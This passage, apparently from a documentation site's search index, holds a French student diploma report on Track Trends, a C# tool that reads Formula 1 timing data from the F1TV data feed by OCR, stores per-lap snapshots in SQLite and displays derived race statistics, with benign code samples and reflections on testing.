contient toutes les informations concernant les pilotes \u00e0 chaque tour. L'id\u00e9e est qu'elle soit remplie \u00e0 chaque tour. Les infos ne sont pas scens\u00e9e \u00eatre les infos live mais plut\u00f4t juste une photo \u00e0 chaque tour de la situation de chaque pilote pour ensuite pouvoir faire des commparaisons tourspar tours. Des donn\u00e9es comme le GapToLeader peuvent \u00e9voluer pendant le tour mais on s'en fiche. Ce qui compte vraiment c'est le temps au tour et les secteurs ainsi que les pneus. Quand remplir la base ? Dans ce projet il y a deux type d'information. Les informations live qui sont stock\u00e9es dans des listes et les informations long terme qui sont stock\u00e9es dans la DB. A chaque it\u00e9ration de l'OCR, les donn\u00e9es r\u00e9cup\u00e8r\u00e9es sont stock\u00e9es dans une liste de DRIVERDATA. Les DRIVERDATA sont des structures de donn\u00e9es qui contiennent toutes les infos d'un pilote \u00e0 un instant T. Elles peuvent \u00eatre incompl\u00eates et sont juste la pour faire de petits calculs et determiner quand ins\u00e8rer des donn\u00e9es permanentes. Ce qui nous am\u00e8ne au moment int\u00e9ressant. Comment on d\u00e9termine quand il est int\u00e9ressant d'ins\u00e8rer des informations dans la base de donn\u00e9es. Il y a deux cas de figure ou on pourrait vouloir ins\u00e8rer des infos : Quand un pilote a finit un tour En effet, j'ai estim\u00e9 que les seuls moments ou on veut garder une photo de la situation du pilote c'est quand il passe d'un tour \u00e0 l'autre. Le raisonnement est le suivant : On ne veut pas conserver TOUTES les donn\u00e9es car si on prend une phot toutes les trois secondes, la majorit\u00e9 des informations seront redondantes avec les pr\u00e9c\u00e9dentes. Mais en m\u00eame temps il ne faut pas rater des changements importants de donn\u00e9es. Les seules donn\u00e9es qui changent entre deux passages de l'OCR sont les \u00e9carts entre les pilotes et de temps en temps un nouveau secteur s'affiche. Alors que d'un tour \u00e0 l'autre presque toutes les informations changent. Et on ne perd que les l\u00e9g\u00e8res fluctuations des \u00e9carts entre les pilotes. J'ai donc d\u00e9cid\u00e9 de conserver une photo par tour. Mais c'est bien joli sauf qu'il reste une difficult\u00e9 : Comment savoir qu'un pilote a fait son tour ? Cela peut para\u00eetre simple comme question mais elle est plus difficile qu'il n'y parait. Il faut savoir que en F1 un pilote peut \u00eatre dans son 26\u00e8me tour pendant qu'un autre en est \u00e0 son 24\u00e8me. Chaque pilote a sa propre course et au fur et \u00e0 mesure que les \u00e9carts se creusent il peut y avoir un tour voir plusieurs d'\u00e9cart entre la queue de course et les premiers pilotes. Ensuite il faut savoir qu'il n'est pas marqu\u00e9 sur la f1TV dans quel tour chaque pilote est. Il faut donc le d\u00e9duire en fonction des Data. Voici le code le if qui d\u00e9tecte un nouveau tour if ( DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 1 ]. Sector3 != 0 && DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 2 ]. Sector3 == 0 && DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 2 ]. Position != - 1 && DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 1 ]. Position != - 1 ) { //Do stuff } DriverDataLogs est une liste de liste d'informations de pilotes. Chaque DriverDataLogs repr\u00e9sente les 20 photos des donn\u00e9es des pilotes. Cela veut dire que DriverDataLogs[3] repr\u00e9sente toutes les infos des pilotes dans le tour 4 et que DriverDataLogs[3][0] repr\u00e9sente toutes les infos du premier pilote dans le tour 3. Si on analyse un peu ce qui est \u00e9crit avec ces informations, on peut voir que je d\u00e9termine qu'un nouveau tour se d\u00e9finis comme une photo ou le troisi\u00e8me secteur a \u00e9t\u00e9 compl\u00eat\u00e9 et ou il ne l'\u00e9tait pas juste avant. Cela fait sens car quand un pilote compl\u00eate son troisi\u00e8me secteur c'est la que son dernier temps au tour se met \u00e0 jour. Le reste des tests est juste la pour \u00e9viter les faux positifs dans le cas ou un des deux DriverDataLogs[x][x] soit corrompu et que donc la valeur n'aie pas de sens. Cela veut dire que dans des conditions tr\u00e8s sp\u00e9cifiques je pourrais potentiellement rater un tour mais il faudrait vraiment que l'OCR me joue un vilain tour. Quand un pilote a fait un arr\u00eat aux stands Et la on touche le plus difficile. Pourtant un arr\u00eat aau stand ne devrait pas \u00eatre compliqu\u00e9 \u00e0 detecter. C'est quand un pilote change de pneu. Alors il peut changer de pneu en gardant le m\u00eame type de pneu et donc tout repose sur le nombre de tour qu'un pneu fait. Sauf que il faut ajouter \u00e0 cette reflexion qu'un pneu peut \u00eatre chauss\u00e9 sans qu'il soit neuf. Ce qui veut dire que l'on ne peut pas simplement choisir qu'un pilote a chang\u00e9 de pneus quand ses pneus sont \u00e0 1 tour. Il peut tr\u00e8s bien reprendre des pneus de qualif qui peuvent avoir 10 tours dans les pattes. En plus quand le pilote change de pneus il y a un phenomene assez p\u00e9nible qui fait que les deux premiers tours faits avec ne sont pass vraiment d\u00e9chiffrables car ils sont un peu cach\u00e9s derri\u00e8re la lettre qui indique le nouveau pneu chauss\u00e9. Exemple : \"Infographie de pneu qui se chevauche\" Voici le code que j'avais \u00e9crit pour tenter de trouver quand un pilote avait fait un pitstop : if ( data . CurrentTyre . Coumpound != Tyre . Type . Undefined && data . CurrentTyre . NumberOfLaps == 0 && DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 2 ]. CurrentTyre . NumberOfLaps != 0 ) { //Do stuff } On peut voir que j'essaie de detecter quand le pneu est \u00e0 0 tours (ce qui est le moment ou il y a une lettre \u00e0 la place d'un num\u00e9ro de tour) et que la photo d'avant montrait un pneu normal. On v\u00e9rifie aussi que le pneu a bien \u00e9t\u00e9 detect\u00e9 en verifiant que le pneu n'est pas de type undefined. Le soucis c'est que ce n'est pas rare que l'OCR nous retourne qu'un pneu est vieux de 0 tours et donc il est absolument impossible de faire confiance \u00e0 cette metric. Si on veut utiliser cette methode pour trouver les Pitstop il va falloir avant tout am\u00e9liorer l'OCR sur ce point. Ce soucis mets en lumi\u00e8re un principe assez important de l'informatique \"Ggarbage in, Garbage out\". Si les donn\u00e9es que je recoit ne sont pas g\u00e9niales, le r\u00e9sultat ne sera pas g\u00e9nial non plus. Ce qui est frustrant c'est que la detection des pneus n'est pas si mal mais entre les chiffres qui se chevauchent ce qui nous fait lire 0 alors que c'est juste un un '1' derri\u00e8re un 'H' ou le 1% du temps ou le programme se trompe, on ne peut pour l'instant tout simplement rien faire de mieux. Affichage des donn\u00e9es Maintenant que l'on a stock\u00e9 toutes ces donn\u00e9es, il faut en faire quelque chose sinon ca ne sert a rien. Afficher les donn\u00e9es est techniquement la partie la plus simple du projet. Il faut prendre les donn\u00e9es qui nous int\u00e9ressent de la base de donn\u00e9es et des r\u00e9sultats de l'OCR et les afficher sur des composants Windows Forms. Il y a deux types d'affichages actuellements mis en place dans le projet sur les trois pr\u00e9vus initialement : Affichage direct L'affichage direct est simplement l'affichage du r\u00e9sultat de l'OCR. Par exemple le classement live ainsi que les \u00e9carts entre les pilotes sont affich\u00e9s directement depuis les r\u00e9sultats de l'OCR. Ce ne sont pas forc\u00e9ment des donn\u00e9es prises dans la base de donn\u00e9e. Voici un exemple : for ( int driverCount = 0 ; driverCount < liveData . Count ; driverCount ++) { DriverData driver = liveData [ driverCount ]; lblDriverName . Text = driver . Name ; lblDriverPosition . Text = driver . Position ; lblDriverLapTime . Text = Reader . ConvertMsToTime ( driver . LapTime ); } C'est l'affichage le plus simple et celui qui est le plus soumis \u00e0 des erreurs. En effet, si un pilote est mal detect\u00e9 on le verra directement mal s'afficher dans la Form principale. C'est \u00e9galement l'affichage le moins int\u00e9ressant car il ne cr\u00e9e aucune information, il ne fait que remontrer les infos que l'on peut d\u00e9ja voir dans la F1TV \"Exemple d'affichage live\" Affichage calcul\u00e9 La encore il y a plusieurs types d'affichages : Affichage Hybride Pour ce qui est des affichages hybrides ce sont des affichages qui vont chercher des informations lives et des informations dans la base de donn\u00e9e. Ils ne font pas de calculs \u00e0 proprement parler mais ils affichent plus d'informations que ce que montre la F1TV. Cela veut dire qu'ils repr\u00e9sentent un d\u00e9but de plusvalue par rapport \u00e0 l'alternative qu'est la page DATA de la F1TV. Ils ne sont pas beaucoup plus durs \u00e0 impl\u00e9menter mais demandent de faire des requ\u00eates \u00e0 la base de donn\u00e9e. Comme exemple d'affichage hybride on a l'affichage des cinq derniers tours d'un pilote. C'est un affichage qui ne demande aucun calcul mais qui permet deja de se rendre compte de si le pilote est enn train de perdre ou gagner du temps ou si il est constant, ce qui n'est pas possible actuellement avec la F1TV \u00e0 moins d'avoir une excellente m\u00e9moire. \"Fen\u00eatre d'informations \u00e0 propos d'un pilote\" Voici un exemmple du type de code necessaire pour afficher ce genre de donn\u00e9es: public List <( int LapTime , int Lap )> GetDriverLaptimes ( string driverName , int numberOfLaptimes ) { int driverId = GetDriverID ( driverName ); List <( int LapTime , int Lap )> lapData = new List <( int LapTime , int Lap )>(); string selectQuery = \"Select LapTime,Lap from Stats WHERE DriverID = @driverID ORDER BY Lap DESC LIMIT @limit\" ; using ( var command = new SQLiteCommand ( selectQuery , Connection )) { command . Parameters . AddWithValue ( \"@driverID\" , driverId ); command . Parameters . AddWithValue ( \"@limit\" , numberOfLaptimes ); SQLiteDataReader reader = command . ExecuteReader (); while ( reader . Read ()) { int lapTime = reader . GetInt32 ( 0 ); int lap = reader . GetInt32 ( 1 ); lapData . Add (( lapTime , lap )); } } return lapData ; } public void Display (){ List <( int LapTime , int Lap )> lapsInfos = Storage . GetDriverLaptimes ( driverName , 5 ); int id = 0 ; foreach (( int LapTime , int Lap ) lapData in lapsInfos ){ Labels [ id ]. Text = LapTime ; id ++; } } Note: Le code montr\u00e9 ici n'est pas forc\u00e9ment le code utilis\u00e9 dans le projet. D'une certaine facon les fen\u00eatres de bataille et de d\u00e9passements sont aussi des hybrides. \"Exemple fen\u00eatre des batailles\" Ici ce sont les batailles qui sont repr\u00e9sent\u00e9es. Aucune donn\u00e9e n'est calcul\u00e9e, c'est litterallement directement les donn\u00e9es de la F1TV, mais la nuance est qu'on ne montre que les pilotes qui sont en train de se battre et que on leur assigne une couleur selon \u00e0 quel point ils sont proches. On a une plus-value sur la F1TV sans pour autant faire de monstres calculs. Pour info, les pilotes consid\u00e8r\u00e9s comme \u00eatant en train de se battre sont les pilotes \u00e0 moins de trois secondes les uns des autres et les couleurs sont suivantes : Vert : Dans la zone de DRS (Moins d'une seconde) Jaune : Plus d'une seconde Noir : Plus de deux secondes \"Exemple fen\u00eatre des d\u00e9passements\" La c'est l'historique des d\u00e9passements qui est affich\u00e9. On pourrait presque dire que c'est un affichage compl\u00eatement calcul\u00e9 car ce ne sont pas des informations disponibles directement sur la F1TV cependant je dirais que cela reste un hybride car il n'y a aucuns calculs. On regarde juste les diff\u00e9rences entre l'ancienne position d'un pilote et la nouvelle et on affiche les changements. Affichage totalement calcul\u00e9 L'affichage compl\u00eatement calcul\u00e9 est un type d'affichage qui ne montre aucune information trouv\u00e9e sur la page de la F1TV. C'est le premier affichage \u00e0 traiter l'information qu'il trouve et il retourne des informations nouvelles. La nuance avec les affichages pr\u00e9dictif est qu'il ne cr\u00e9e pas r\u00e9ellement de l'information, il la d\u00e9duit. Le but est de prendre un certain nombre d'informations trouv\u00e9es sur la page de la F1TV et de calculer des choses pour faire ressortir des tendances \u00e0 l'utilisateur. Cependant on reste sur des informations factuelles. Ce sont des infos d\u00e9duites que techniquement unn humain avec une bonne m\u00e9moire et fort en calcul mental pourrait faire. Mais la c'est fait automatiquement pour tous les pilotes et c'est affich\u00e9 de sorte \u00e0 faire ressortir les valeurs sp\u00e9ciales. Comme c'est un peu plus abstrait, je pense qu'un exemple vaut mieux que 1000 mots. \"Exemple de fen\u00eatre d'informations totalement calcul\u00e9es\" Ci dessus on peut voir un bon exemple. C'est une fen\u00eatre qui montre qui sont les pilotes les plus rapides et les moins rapides et qui montre la diff\u00e9rence de temps au tour. Cette information est totalement d\u00e9duite et n'est en aucun cas trouvable sur la F1TV mais elle n'est pas invent\u00e9e. Elle est simplement calcul\u00e9e. La formule est assez simple, je prend les cinq derniers temps au tour de tous les pilotes. Je fais une moyenne qui donne un temps. Et ensuite je trie les pilotes en fonction de ce temps et je n'affiche que les cinq plus rapide et les cinq plus lents. Ensuite il suffit de prendre le temps le plus rapide et faire une petite soustraction pour avoir l'\u00e9cart. C'est une stat assez int\u00e9ressante car elle lisse les diff\u00e9rences d'un tour \u00e0 l'autre et fait ressortir une tendance. On peut voir pour le grand prix de monaco 2023 par exemple, le moment ou les pneus pluie deviennent plus int\u00e9ressants que les pneus secs car on voit que les pilotes les plus rapides sont les pilotes de fond de grille qui ont chauss\u00e9 les pneus pluie en premier tandis que les plus lents sont les pilotes sur pneus secs vieux. Voici un bout de code qui s'occupe de faire les calculs : List <( int avg , string driverName )> averages = new List <( int avg , string driverName )>(); foreach ( DriverData driver in LiveDriverDataLogs [ LiveDriverDataLogs . Count - 1 ]) { //We want to recover the last 5 lap times List <( int lapTime , int lap )> laps = Storage . GetDriverLaptimes ( driver . Name , 5 ); if ( laps . Count > 0 ) { int avg = 0 ; foreach (( int lapTime , int lap ) lap in laps ) { avg += lap . lapTime ; } avg = avg / laps . Count ; averages . Add (( avg , driver . Name )); } } Affichage pr\u00e9dictif C'est ici que ca devient vraiment dommage, le projet a mannqu\u00e9 de temps pour impl\u00e9menter des affichages pr\u00e9dictifs mais le potentiel est la ! Un affichage pr\u00e9dictif est un affichage qui cr\u00e9e des informations \u00e0 partir des infos qu'il a mais qui fait plus qu'un calcul. Le but est de tenter de deviner quelque chose. Voici des exemples d'affichages pr\u00e9dictifs qui pourraient \u00eatre mis en place averc l'architecture actuelle du projet : Si un pilote a des pneus depuis plus de 20 tours et que son temps au tour est en chute libre depuis cinq tours. Alors ce pilote va peut-\u00eatre devoir s'arr\u00eater. Si un pilote tourne une seconde au tour plus vite que le pilote devant lui et que ce pilote est \u00e0 10 secondes devant, alors il devrait pouvoir le rattraper d'ici dix tours. Si un arr\u00eat au stand est en moyenne de 23 secondes, alors un pilote 3\u00e8me ressortirais potentiellement 7\u00e8me si il s'arr\u00eate maintenant. Tous ces exemples sont des mini algorythmes pr\u00e9dictifs qui pourraient \u00eatre impl\u00e9ment\u00e9s assez facilement dans l'architecture actuelle du projet et pourraient apporter une immense plus-value si ils sont bien param\u00eatr\u00e9s. On peut m\u00eame imaginer que l'algorythme se corrige tout seul si il voit qu'il a eu tort pour que les course suivante il puisse mieux s'en sortir. Les possibilit\u00e9es sont infinies ! Tests Alors la on arrive \u00e0 la GROSSE erreur de ce projet... Si je ne pouvais changer qu'une seule chose \u00e0 ma facon de faire le projet apr\u00e8s coup c'est ici que je ferai le changement. Les tests sont d'une importance absolument capitale mais si ils sont bien faits, c'est surtout un moyen ultra efficace de v\u00e9rifier que du nouveau code est performant et est beaucoup plus pratique \u00e0 utiliser. Je pense sans rire que j'aurais pu gagner plusieurs jours de travail si j'avais travaill\u00e9 diff\u00e9remment vis-a-vis des tests. Comment ca c'est pass\u00e9 D\u00e8s la cr\u00e9ation du planning pr\u00e9visionnel j'ai fait une erreur capitale. J'ai mis les tests en fin de developpement des features... Et je ne leur ai laiss\u00e9 que tr\u00e8s peu de temps tout en les mettant au milieu du chemin critique ce qui les rends particuli\u00e8rement vuln\u00e9rables si une t\u00e2che du chemin critique est retard\u00e9e. En fait dans ce projet je voulais surtout \u00e9viter de faire comme certains projets que l'on a pu avoir pendant notre formation. C'est \u00e0 dire que je ne voulais surtout pas oublier la doc. Alors j'ai agenc\u00e9 le projet pour commencer par les fondations de la doc, puis en incluant les p\u00e9riodes de programmation et entre ces derni\u00e8re ajouter des Tests dans les trous. Le soucis c'est que du coup les projets \u00e9taient un peu le dernier truc dont je devais me soucier ce qui a \u00e9t\u00e9 une tr\u00e8s mauvaise id\u00e9e. Je me suis retrouv\u00e9 \u00e0 devoir mordre sur les jours de tests car les t\u00e2ches de programmation mettaient plus de temps que pr\u00e9vu (qui elles-m\u00eame auraient p\u00fb \u00eatre plus courte avec une bonne utilisation des tests) et je mme suis retrouv\u00e9 \u00e0 passer outre les tests pour avancer sur le reste du projet. J'ai donc du en panique \u00e0 la toute fin du projet construire quelques tests \"unitaires\" dont l'utilit\u00e9 est tr\u00e8s limit\u00e9e car tout le travail a d\u00e9ja \u00e9t\u00e9 fait et que vu la complexit\u00e9 qu'a pris le projet, faire de vrais tests unitaires est devenu un peu trop compliqu\u00e9 pour valoir le coup. Les seuls tests \"unitaires\" (Je l'\u00e9cris entre quotes car ce ne sont pas vraiment des tests unitaires mais plut\u00f4t des tests tout courts car ils ne sont pas sp\u00e9cifiques) qu'il y a dans le projet final sont des tests exclusivement tourn\u00e9s sur l'OCR. Ils sont d\u00e9ja vraiment pratiques car cela me permet de tester d'autres algorythmes d'OCR et voir si les r\u00e9sultats sont meilleurs ou non mais c'est juste un peu trop tard quoi... Les tests unitaires que j'ai impl\u00e9ment\u00e9s sont un peu tous pareils au niveau du fonctionnement : On choisit une image dans une liste d'images pr\u00e9par\u00e9es qui sont scens\u00e9e repr\u00e9senter le type de donn\u00e9es rencontr\u00e9es par l'application en temps normal On lis le nom de l'image que j'ai mis manuellement en indiquant ce qui \u00e9tait marqu\u00e9 sur l'image On fait un coup d'OCR sur l'image et on compare ce r\u00e9sultat avec la valeur que l'on est scens\u00e9 retrouver En pratique on est sur un code de ce style : [TestMethod()] public void SectorOCR_Test () { string directory = @\"./../../TestImages/Sectors/\" ; foreach ( string file in Directory . GetFiles ( directory )) { Bitmap image = ( Bitmap ) Image . FromFile ( file ); DriverSectorWindow sectorsWindow = new DriverSectorWindow ( image , new Rectangle ( 0 , 0 , image . Width , image . Height ), 1 , true ); string [] paths = file . Split ( '/' ); string fileName = paths [ paths . Length - 1 ]; fileName = fileName . Replace ( \".png\" , \"\" ); int timeMS = ( int ) sectorsWindow . DecodePng (); string time = Reader . ConvertMsToTime ( timeMS ); string [] checkDigits = fileName . Split ( '_' ); string [] digitsToCheck = time . Split ( ':' ); if ( time == \"0:00:000\" ) { Assert . AreEqual ( 0 , Convert . ToInt32 ( checkDigits [ 0 ])); } else { //The ConvertMSToTime will always return three chars so we need to make the checkDigits be also three chars while ( checkDigits . Length != 3 ) checkDigits = new [] { \"0\" }. Concat ( checkDigits ). ToArray (); for ( int i = 0 ; i < checkDigits . Length ; i ++) { //We need to convert to int first because sometimes we have \"08\" and \"8\" and in string its not the same but in int it is Assert . AreEqual ( Convert . ToInt32 ( checkDigits [ i ]), Convert . ToInt32 ( digitsToCheck [ i ])); } } } } Tout le code suppl\u00e9mentaire qui ne fait pas partie des \u00e9tapes cit\u00e9es est juste la pour manipuler le format des r\u00e9sultats pour qu'il soit comparable. \"Exemple d'\u00e9chantillons pour les tests\" Ce qui est pratique avec cette approche c'est qu'il est tr\u00e8s facile de rajouter des cas sp\u00e9cifiques et voir comment le programme les g\u00e8re. Si je vois que un certain nombre est souvent mal reconnu je peux faire expr\u00e8s de le mettre dans le dossier et modifier mon code d'OCR jusqu'\u00e0 ce que le test passe. Si j'avais eu plus de temps j'aurais s\u00fbrement pu ajouter de vrais tests unitaires qui testent des fonctions tr\u00e8s pr\u00e9cises. Par exemple verifier que les diff\u00e9rentes Windows sont bien appel\u00e9es et que les zones se cr\u00e9ent correctement ou m\u00eame plus simplement que la lecture du JSON au d\u00e9marrage marche bien. Il faut savoir que m\u00eame si je n'ai pas eu l'occasion d'\u00e9crire beaucoup de tests sous forme de code. Toute la phase de d\u00e9veloppement de l'OCR j'ai pass\u00e9 plus d'une heure par jour \u00e0 analyser les r\u00e9sultats. Je gardais toutes les images des WINDOWS et je notais dans le nom du fichier ce que l'algorythme trouvais et je passais en revue manuellement les centaines de r\u00e9sultats pour isoler ceux qui posaient probl\u00e8me. C'est comme ca que je me suis rendu compte par exemple que, avec cette police, les 4 et les 1 \u00e9taient souvent confondus. Donc m\u00eame si les tests automatis\u00e9s sont clairement insuffisant par rapport \u00e0 ce que j'aurais peut-\u00eatre du faire, j'ai pass\u00e9 \u00e9norm\u00e9ment de temps \u00e0 tester mon application. Comment ca aurait du se passer Si je devais refaire ce projet aujourd'hui je pense que j'utiliserais un peu la m\u00eame technique que pour la doc. J'aurais mis les t\u00e2ches de Tests directement au d\u00e9but du projet et j'aurais determin\u00e9 le squelette de l'application par la m\u00eame occasion. Je pense que j'aurais mis trois jours pour \u00e9crire tous les tests dont j'aurais besoin et j'aurais fait une strat\u00e9gie de TDD (Test Driven Developpement) par ce que je pense que ca marcherait vraiment super bien sur ce type de projet. J'aurais pris je pense 5 une dixaine d'images compl\u00eates de la F1TV de plusieurs GP diff\u00e9rents et j'aurais mis toutes les fen\u00eatres d\u00e9coup\u00e9es dans des fichiers avec des tests comme ceux que j'ai fait pour ce projet. Et comme ca je saurai que mon algo est bon uniquement quand il aura r\u00e9ussi \u00e0 passer tous les tests. Cela r\u00e8glerait le soucis que j'ai eu le plus : Me retrouver \u00e0 devoir changer l'OCR 5 fois par ce que \u00e0 chaque fois que je d\u00e9veloppe une nouvelle feature je me rends compte d'une faiblesse mon algorythme... Non seulement j'aurai eu beaucoup plus de facilit\u00e9 \u00e0 avancer sur le projet, mais en plus je pense que cela m'aurait fait gagner \u00e9norm\u00e9ment de temps non seulement car je n'ai plus \u00e0 tester tout \u00e0 la main mais en plus par ce que ca veut dire que quand l'OCR passe les tests je n'ai plus jamais \u00e0 m'en soucier. Lecons Je pense que dans mes futurs projets je mettrai les tests en d\u00e9but de projet plut\u00f4t que \u00e0 la fin et je ferai en sorte qu'ils fassent partie du chemin critique et que je ne puisse pas passer \u00e0 c\u00f4t\u00e9 sous pretexte que \"Je n'ai pas le temps\". Ecrire des tests c'est jamais marrant et c'est encore moins marrant quand ils nous emp\u00eachent d'avancer. Mais je suis convaincu que au final c'est un gain de temps et de s\u00e9r\u00e9nit\u00e9 incontournable. R\u00e9sum\u00e9 des difficult\u00e9s techniques [A remplir au fur et \u00e0 mesure dans la seconde moiti\u00e9 du travail de dipl\u00f4me] Optimisation du programme [A remplir \u00e0 la fin du projet pour parler des diff\u00e9rentes methodes d'optimisation] Ethique du projet [A remplir \u00e0 la fin du projet pour parler des questions ethiques du projet (Ex: Utilisation potentiellement abusive de la F1Tv ou L'histoire des cookies)] Utilisation de Chat GPT [A remplir \u00e0 la fin du projet] Am\u00e9liorations futures [A remplir dans les derni\u00e8res semaines du travail de dipl\u00f4me] Conclusion [A remplir la derni\u00e8re semaine du travail de dipl\u00f4me] Notes de code","title":"Rapport Track Trends V1.0"},{"location":"index.html#rapport-track-trends-v10","text":"Rohmer Maxime Travail de dipl\u00f4me Technicien ES 2023","title":"Rapport Track Trends V1.0"},{"location":"index.html#introduction","text":"","title":"Introduction"},{"location":"index.html#resume","text":"Track Trends est un outil de r\u00e9cup\u00e9ration et d'analyse de donn\u00e9es de courses de Formule 1. Pour le contexte, en dehors des cours, j'exerce diff\u00e9rentes activit\u00e9s dont celle de Live Ticker F1 pour le 20 minutes. Pour m'aider dans ce travail, j'utilise actuellement la F1TV \u00e0 laquelle je suis abonn\u00e9 qui me propose non seulement un feed vid\u00e9o de meilleure qualit\u00e9 avec des commentaires plus pertinents que ceux de la RTS mais qui aussi me permet d'acc\u00e9der \u00e0 un feed vid\u00e9o tr\u00e8s important : la chaine data. Ce dernier ressemble \u00e0 cela : \"Screenshot du feed data de la f1tv\" (Attention ce n'est pas un joli tableau HTML, mais bien une vid\u00e9o qui contient un tableau.) Sauf que toutes les informations sont \u00e9tal\u00e9es p\u00eale-m\u00eale sans hi\u00e9rarchie ce qui fait que cela me prendrait trop de temps de tout d\u00e9chiffrer \u00e0 chaque fois, ce qui me fait rater des choses int\u00e9ressantes. Le but du projet est donc de fournir un outil qui hi\u00e9rarchise et affiche diff\u00e9remment les donn\u00e9es pour faciliter leur lecture et me permettre de faire de meilleurs commentaires.","title":"R\u00e9sum\u00e9"},{"location":"index.html#abstract","text":"Track Trends is a Formula 1 data is a tool that displays and interpret data. To understand everything,first ,a little bit of context. In my free time I have multiple activities and one is to be the Live Ticker F1 for the local journal \"20 minutes\" (Owned by Tamedia). to help me in this work I'm currently using the F1TV to which I'm currently subscribed because it provides me with a better video feed with better commentary than the ones from the RTS (in my opinion) but also because it gives me access to a very important video feed : the data channel You can see in the chapter above an example of the F1TV DATA CHANNEL. [Note : Even tough it looks like a pretty HTML table on wich you could easely get infos... Its not. Its a video feed] You can see a lot of data all well and good BUT! All the data is displayed the same in a big table which make it really hard to read totally in a hurry, which means that I miss a lot of useful information. The point of the project then is to provide a tool that can display those data by taking into account their relevance. So for example a driver that is 10s away from everyone and that is doing some normal lapTimes will be less displayed or even not displayed at all so I can focus on the drivers that are battling each others. This tool would help me not miss the battles and details that are happening in the back and therefore not being broadcasted on TV.And it could be a usefull tool for anyone who wants a better insight of how the race is going by looking at the data. This kind of project already exists in the form of the AWS tool \"F1 Insight\" but it is not avaible to the public. We can only see some of its predictions (that are trash) and data dumps in the live feed when the TV directors feel like it.","title":"Abstract"},{"location":"index.html#description-du-besoin","text":"Comme expliqu\u00e9 dans le r\u00e9sum\u00e9, je suis Live Ticker F1. Mais pour mieux comprendre le besoin que j'ai, je pense qu'il est pertinent de comprendre comment je travaille. Pendant un Grand Prix de Formule 1 j'ai plusieurs t\u00e2ches \u00e0 effectuer : Suivre les diff\u00e9rents \u00e9v\u00e8nements du Grand Prix Changer le titre et la photo de titre du Live Chercher des Tweets ou des Images \u00e0 int\u00e9grer Ecrire les commentaires en faisant attention \u00e0 dire ce qu'il se passe mais aussi l\u2019expliquer, ce que cela implique, mais aussi ce que cela veut dire pour le reste de la course. Comprendre et expliquer les strat\u00e9gies Tout cela toutes les cinq minutes max... Cela veut dire que je dois \u00eatre le plus rapide possible quand je cherche des informations. Et comme le tableau en comporte trop et bien, je suis oblig\u00e9 de le lire en diagonale. Par exemple dans le tableau, les infos que je cherche le plus sont : Le nombre de places gagn\u00e9es (surtout au d\u00e9part) Les \u00e9carts entre les pilotes (surtout ceux qui sont en dessous de deux secondes). Les pneus de chaque pilote et combien de tours, ils ont fait dessus Les temps d'arr\u00eats aux stands Les temps au tour (surtout pour la strat\u00e9gie) Mais pleins d'autres informations existent si on les recoupe sur plusieurs tours. Un outil qui permettrait de mettre en \u00e9vidence les informations importantes serait donc une tr\u00e8s grosse plus-value pour mon travail et s'il est facile \u00e0 installer et \u00e0 utiliser, il se pourrait qu'il devienne indispensable.","title":"Description du besoin"},{"location":"index.html#cahier-des-charges","text":"Il s'agit d'une version coup\u00e9e du cahier des charges qui ne contient pas l'explication du contexte. Mais l'original est disponible sur ce site \u00e9galement. Il est toutefois normal d'y voir des choses r\u00e9p\u00e9t\u00e9es ou l\u00e9g\u00e8rement diff\u00e9rentes, en effet, il n'a pas \u00e9t\u00e9 \u00e9crit en m\u00eame temps que le reste de ce document.","title":"Cahier des charges"},{"location":"index.html#projet","text":"Un outil de style compagnon sous forme d'application C# Windows Form qui r\u00e9cup\u00e8re en temps r\u00e9el les informations de la course et affiche les informations les plus importantes. Le but est non seulement de faciliter mon job, mais aussi faire en sorte d'am\u00e9liorer la plus-value de mon travail en me permettant de fournir des commentaires qui ne sont pas disponibles pour le tout venant qui regarde simplement le flux RTS. Exemples : Les pilotes qui sont proches (moins de 1-2 secondes qui sont donc en train de se battre). Les pilotes qui am\u00e9liorent leur temps au tour et ceux qui perdent le plus de temps Le classement pond\u00e9r\u00e9 tenant compte des futurs arr\u00eats au stand Maintenant afficher diff\u00e9remment les infos, c'est sympa, mais cela serait encore mieux de traiter ces data et de permettre des petites pr\u00e9dictions. Exemples : Pr\u00e9dire les arr\u00eats aux stands en prenant en compte les baisses de performances des pneus Pr\u00e9dire le pneu que le pilote va chausser s'il rentre aux stands dans le prochain tour Pr\u00e9dire dans combien de tour tel pilote va rattraper tel autre pilote Pr\u00e9dire combien de temps le pilote va perdre dans les stands en fonctions des arr\u00eats pr\u00e9c\u00e9dents","title":"Projet"},{"location":"index.html#realisation","text":"Malheureusement, la Formula 1 Management ne propose aucune API publique qui puisse nous permettre de faire ce projet \"simplement\". La raison la plus probable \u00e9tant qu'Amazon avec son service AWS propose exactement ce genre de services pour le flux t\u00e9l\u00e9vis\u00e9 et il doit y avoir un contrat d'exclusivit\u00e9. Il existe des API \"Pirates\" faites par la communaut\u00e9, le probl\u00e8me est qu'elles ne sont pas forc\u00e9ment des plus pratiques \u00e0 utiliser. Mais comme je poss\u00e8de un abonnement premium ++ \u00e0 la F1TV, j'ai acc\u00e8s pour chaque grand prix \u00e0 un flux vid\u00e9o nomm\u00e9 : DATA F1 CHANNEL Qui ressemble \u00e0 \u00e7a : \"Exemple de la Data Channel\" Donc la seule fa\u00e7on que je vois de r\u00e9cup\u00e9rer ces donn\u00e9es est de les prendre directement sur ce feed. M\u00eame si le but final de l'application est de faire pleins de choses super avec les datas, le gros du projet va surtout \u00eatre la r\u00e9cup\u00e9ration des donn\u00e9es et leur stockage. Les donn\u00e9es viennent du flux vid\u00e9o et ainsi dans un premier temps, il va falloir r\u00e9cup\u00e9rer d'une mani\u00e8re ou d'une autre des images qui viennent d'un grand prix en direct ou en rediffusion. Ensuite, dans un second temps, il faut lire les informations directement sur l'image en utilisant une librairie pr\u00e9vue pour (exemple Tesseract) et v\u00e9rifier l'int\u00e9grit\u00e9 de ces derni\u00e8res pour qu'on puisse ensuite les stocker. Dans un troisi\u00e8me temps, il faut stocker toutes ces donn\u00e9es dans une forme qui permette d'aller facilement faire des requ\u00eates de r\u00e9cup\u00e9ration et d\u00e9j\u00e0 pr\u00e9parer des m\u00e9thodes qui permettent de r\u00e9cup\u00e9rer des infos importantes (ex : la moyenne des cinq derniers tours, le temps moyen d'arr\u00eat etc.) pour faciliter la derni\u00e8re \u00e9tape Quand tout cela est fait, on peut ensuite s'amuser un peu avec les Data. La derni\u00e8re \u00e9tape est donc 